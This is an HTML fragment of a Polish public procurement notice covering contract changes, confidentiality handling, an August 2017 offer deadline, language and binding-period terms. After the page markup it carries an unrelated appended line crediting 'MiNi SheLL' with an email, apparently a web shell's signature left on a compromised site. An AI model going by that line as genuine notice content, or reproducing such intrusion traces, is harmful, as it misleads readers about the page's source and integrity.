20px"> <span id="ctl00_ContentPlaceHolder1_IV_4_14"></span> </div> <br/> Informacje dodatkowe: <br/> <div style="padding-left: 20px"> <span id="ctl00_ContentPlaceHolder1_IV_LicytacjeDodatkoweInformacje"></span> </div> <b>IV.5) ZMIANA UMOWY</b> <br/> <b>Przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy:</b> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy">Nie</span> <br/> Należy wskazać zakres, charakter zmian oraz warunki wprowadzenia zmian: <br/> <span id="ctl00_ContentPlaceHolder1_zmiana_umowy_tekst"></span> <br/> <b>IV.6) INFORMACJE ADMINISTRACYJNE </b> <br/> <br /> <b>IV.6.1) Sposób udostępniania informacji o charakterze poufnym </b><i>(jeżeli dotyczy): </i> <br /> <span id="ctl00_ContentPlaceHolder1_IV_6_1_sposob_udostepniania"></span> <br/> <b>Środki służące ochronie informacji o charakterze poufnym</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_1_srodki_ochrony"></span> <br/> <b>IV.6.2) Termin składania ofert lub wniosków o dopuszczenie do udziału w postępowaniu: </b> <br/> Data: <span id="ctl00_ContentPlaceHolder1_IV_4_4_data">2017-08-21</span>, godzina: <span id="ctl00_ContentPlaceHolder1_IV_4_4_godzina">10:00</span>, <br/> Skrócenie terminu składania wniosków, ze względu na pilną potrzebę udzielenia zamówienia (przetarg nieograniczony, przetarg ograniczony, negocjacje z ogłoszeniem): <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_SkrocenieTerminu">Nie</span> <br/> Wskazać powody: <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_2_Powody"></span> <br/> Język lub języki, w jakich mogą być sporządzane oferty lub wnioski o dopuszczenie do udziału w postępowaniu <br/>> <span id="ctl00_ContentPlaceHolder1_IV_4_4_jezyki">język polski</span> <br/> <b>IV.6.3) Termin związania ofertą: </b> do: <span id="ctl00_ContentPlaceHolder1_IV_4_5_data"></span> okres w dniach: <span id="ctl00_ContentPlaceHolder1_IV_4_5_okres">30</span> (od ostatecznego terminu składania ofert) <br/> <b>IV.6.4) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia:</b> <span id="ctl00_ContentPlaceHolder1_IV_4_17">Nie</span> <br/> <b>IV.6.5) Przewiduje się unieważnienie postępowania o udzielenie zamówienia, jeżeli środki służące sfinansowaniu zamówień na badania naukowe lub prace rozwojowe, które zamawiający zamierzał przeznaczyć na sfinansowanie całości lub części zamówienia, nie zostały mu przyznane</b> <span id="ctl00_ContentPlaceHolder1_IV_6_5">Nie</span> <br/> <b>IV.6.6) Informacje dodatkowe:</b> <br/> <span id="ctl00_ContentPlaceHolder1_IV_6_6"></span> </div> </div> <div class="headerLarge_xforms" style="text-align: center"> <u> ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH </u> </div> <br /> <div> <br /> </div> <br /> <br /> </div> <br /> <br /> <table> <tr> <td> </td> </tr> </table> </div> <script type="text/javascript">//<![CDATA[//]]></script>

Creat By MiNi SheLL
Email: jattceo@gmail.com